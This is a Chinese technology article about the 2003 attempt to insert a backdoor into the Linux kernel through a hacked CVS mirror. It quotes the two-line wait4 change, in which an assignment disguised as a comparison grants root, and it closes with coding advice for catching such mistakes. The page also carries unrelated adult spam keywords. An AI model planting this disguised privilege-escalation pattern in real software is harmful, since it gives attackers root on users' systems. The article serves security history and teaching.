成人免费xxxxx在线视频软件_久久精品久久久_亚洲国产精品久久久_天天色天天色_亚洲人成一区_欧美一级欧美三级在线观看

如何在Linux中安插一個(gè)后門(mén)?

企業(yè)動(dòng)態(tài)
Linux內(nèi)核是開(kāi)源的代碼,能不能向其中安插一個(gè)后門(mén)呢?這是一件難度很高的操作,但是有人卻差點(diǎn)兒成功了,我們來(lái)看看這是怎么回事。

 Linux內(nèi)核是開(kāi)源的代碼,能不能向其中安插一個(gè)后門(mén)呢?這是一件難度很高的操作,但是有人卻差點(diǎn)兒成功了,我們來(lái)看看這是怎么回事。

時(shí)間回到2003年,當(dāng)時(shí)Linux內(nèi)核的代碼主倉(cāng)庫(kù)保存在一個(gè)叫做BitKeeper的商業(yè)軟件中。如果想對(duì)Linux內(nèi)核代碼進(jìn)行修改的話,需要走一個(gè)審批流程,以此來(lái)確定這次更改能否被接受。每一次更改都有一個(gè)簡(jiǎn)單的說(shuō)明,其中包含一個(gè)指向?qū)徟涗浀逆溄印?/p>

但是有些人不喜歡BitKeeper(堂堂的Linux怎么能保存在閉源的商業(yè)軟件中?!), 于是一個(gè)CVS(估計(jì)好多人都沒(méi)聽(tīng)說(shuō)過(guò)它了吧)被建立了起來(lái),其中保存著從BitKeeper clone來(lái)的代碼, 這樣開(kāi)發(fā)人員可以用開(kāi)源的CVS來(lái)訪問(wèn)Linux代碼。

2003年11月5號(hào),Larry McVoy 注意到了一件怪事,CVS中的一個(gè)代碼變更沒(méi)有包含審批記錄的鏈接, 這是怎么回事?

經(jīng)過(guò)一番調(diào)查發(fā)現(xiàn):從來(lái)沒(méi)有人批準(zhǔn)過(guò)這個(gè)代碼變更,奇怪的是,這個(gè)代碼變更并沒(méi)有出現(xiàn)在BitKeeper主倉(cāng)庫(kù)中,原來(lái)是有人黑進(jìn)了CVS的服務(wù)器,偷偷插入了一段代碼。這段代碼到底做了什么事情呢?

這段代碼修改了一個(gè)叫做wait4的Linux函數(shù),程序可以使用wait4來(lái)等待一些事情的發(fā)生,這個(gè)代碼變更增加了這么兩行:

  1. if ((options == (__WCLONE|__WALL)) && (current->uid = 0)) 
  2.         retval = -EINVAL; 

(代碼可左右滑動(dòng),懂得C語(yǔ)言的同學(xué)可以思考下,這段代碼有什么不尋常的?)

粗一看這段代碼,就會(huì)覺(jué)得這沒(méi)啥啊?不就是做一點(diǎn)條件檢查嗎,不滿足條件就返回錯(cuò)誤。

但是仔細(xì)看看就會(huì)發(fā)現(xiàn)事情不對(duì),第一行的最后, 有個(gè)"current->uid=0", 而不是 "current->uid == 0" 。

正常的寫(xiě)法應(yīng)該是“==0”, 就是檢查當(dāng)前的用戶ID是不是0, 寫(xiě)成“=0”就是把當(dāng)前用戶ID設(shè)置為0 , 而ID為0的用戶是"root" !

這就意味著,如果這段代碼被執(zhí)行,當(dāng)前用戶就會(huì)變成root,可以在系統(tǒng)中為所欲為!

這其實(shí)是個(gè)經(jīng)典的后門(mén), 想象一個(gè),一個(gè)黑客在Linux運(yùn)行了一個(gè)程序,這個(gè)程序調(diào)用了wait4, 然后這個(gè)黑客突然間具備了root權(quán)限!

這個(gè)后門(mén)可是真夠聰明的,偽裝成了條件檢查,試圖蒙混過(guò)關(guān),如果一直沒(méi)人發(fā)現(xiàn)會(huì)怎么樣呢?

首先,后門(mén)存在CVS中,不在BitKeeper的主倉(cāng)庫(kù)中,從BitKeeper 代碼庫(kù)Build出的Linux肯定沒(méi)問(wèn)題, 但是如果有人從CVS代碼庫(kù)中build了Linux, 那就中招了。

其次,搞破壞的家伙可能有這樣的預(yù)期:有個(gè)被Linus Torvalds所信任的內(nèi)核開(kāi)發(fā)者,他討厭BitKeeper,并且在使用CVS, 那當(dāng)他修改了代碼,準(zhǔn)備通過(guò)郵件的方式向Linus Torvalds發(fā)送patch的時(shí)候發(fā)現(xiàn),咦,wait4這里也有個(gè)code change, 是做條件檢查的,也包括進(jìn)去吧。Linus收到補(bǔ)丁,一看是自己信任的兄弟提交的,沒(méi)有仔細(xì)檢查,于是后門(mén)代碼進(jìn)入了主代碼倉(cāng)庫(kù)。

這當(dāng)然是猜測(cè)的場(chǎng)景,也算是一種社會(huì)工程學(xué)攻擊吧,不過(guò)Linux團(tuán)隊(duì)非常小心,把這個(gè)后門(mén)給揪了出來(lái)。

故事到這里就可以結(jié)束了,再就這個(gè)話題擴(kuò)展一下,多說(shuō)兩句。

我記得剛工作的時(shí)候,有個(gè)同事給我說(shuō),在C語(yǔ)言中,當(dāng)需要和0比較的時(shí)候,可以把0放到前面,這么寫(xiě):

  1. if( 0 == user_id){ ....... } 

這樣即使把 == 寫(xiě)成了 = , 編譯器就會(huì)發(fā)現(xiàn)錯(cuò)誤。我當(dāng)時(shí)覺(jué)得挺古怪的,把一個(gè)數(shù)字放到前面,變量放到后面。后來(lái)習(xí)慣了,在Java 也經(jīng)常會(huì)這樣寫(xiě) if (null == user){ ...... }

其實(shí)現(xiàn)在的IDE都很智能了,像這種把==寫(xiě)成=的情況,IDE就可以給出警告。即使沒(méi)有用IDE,如果對(duì)源碼做靜態(tài)的代碼分析,也會(huì)被抓出來(lái)的警告的。

Linux是開(kāi)源的代碼,任何人,只要你愿意,都可以查看所有的代碼,這相當(dāng)于把Linux放到了陽(yáng)光底下,無(wú)數(shù)雙眼睛都盯著看,這種透明度使得在其中安插一個(gè)后門(mén)是非常難的。

參考資料:

https://lwn.net/Articles/57135/

https://freedom-to-tinker.com/2013/10/09/the-linux-backdoor-attempt-of-2003/

【本文為51CTO專欄作者“劉欣”的原創(chuàng)稿件,轉(zhuǎn)載請(qǐng)通過(guò)作者微信公眾號(hào)coderising獲取授權(quán)】 

戳這里,看該作者更多好文

 

責(zé)任編輯:武曉燕 來(lái)源: 51CTO專欄
相關(guān)推薦

2016-12-07 17:45:44

Linux文件

2021-09-14 12:34:33

LinuxLinux終端

2017-02-10 20:00:17

Linux共享目錄命令

2021-02-15 17:29:46

LinuxShell腳本

2016-11-22 19:37:54

Linux恢復(fù)文件

2024-04-11 08:30:05

JavaScript數(shù)組函數(shù)

2018-12-09 14:20:05

LinuxPDF移除密碼

2021-11-01 12:13:53

Linux僵尸進(jìn)程

2018-06-19 10:06:16

Linux軟件測(cè)試Nix包管理器

2016-07-18 10:51:19

操作系統(tǒng)LinuxWindows

2021-07-02 07:18:19

Goresults通道類型

2009-09-15 09:23:35

初級(jí)linuxLinuxlinu操作系統(tǒng)x后門(mén)

2018-07-26 09:55:44

Linux命令升級(jí)軟件

2019-06-03 11:15:32

Linux軟件包命令

2022-08-14 08:29:21

npmNode

2017-10-16 09:04:11

Linux發(fā)行版U盤(pán)

2015-09-17 13:26:56

線程數(shù)進(jìn)程Linux

2022-04-13 09:30:00

C++二分圖圖著色

2020-08-24 08:07:32

Node.js文件函數(shù)

2017-06-20 12:48:55

React Nativ自定義模塊Note.js
點(diǎn)贊
收藏

51CTO技術(shù)棧公眾號(hào)

主站蜘蛛池模板: 欧美日韩不卡合集视频 | 精品国产欧美一区二区三区成人 | 毛片免费观看视频 | 91国内精品久久 | 丁香五月网久久综合 | 国产精品精品视频一区二区三区 | 久久久噜噜噜久久中文字幕色伊伊 | 国产1区在线 | 日韩一区二区三区精品 | 色欧美综合| 国产一区二区在线免费观看 | 国产一区 日韩 | 黄色在线免费观看 | 亚洲视频中文 | 情侣酒店偷拍一区二区在线播放 | www.99re | 九九精品在线 | 欧美一区二区三区视频 | 韩日一区二区三区 | 中文字幕av一区二区三区 | 91免费视频| 久久一区二区精品 | 9久久精品 | 亚洲精品乱码久久久久久蜜桃91 | 久久一二区 | 一区二区三区亚洲 | 女人av | 日日天天 | 91中文字幕在线观看 | 午夜在线视频一区二区三区 | 亚洲精品66 | 中文字幕乱码一区二区三区 | 中文字幕乱码视频32 | 中国av在线免费观看 | 中文字幕1区2区3区 日韩在线视频免费观看 | 日本精品久久久久 | 国产在线看片 | 日韩一区二区三区精品 | 久久久国产一区二区三区 | 玖玖国产精品视频 | 国产99久久精品一区二区300 |